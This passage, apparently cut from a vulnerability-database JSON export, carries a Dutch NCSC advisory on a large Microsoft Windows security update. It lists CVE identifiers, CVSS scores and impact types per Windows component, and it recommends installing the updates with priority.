PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:01.612907Z"}, {"uuid": "c9796b89-e5e7-4b1f-b806-d708c0ad0c9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54987", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 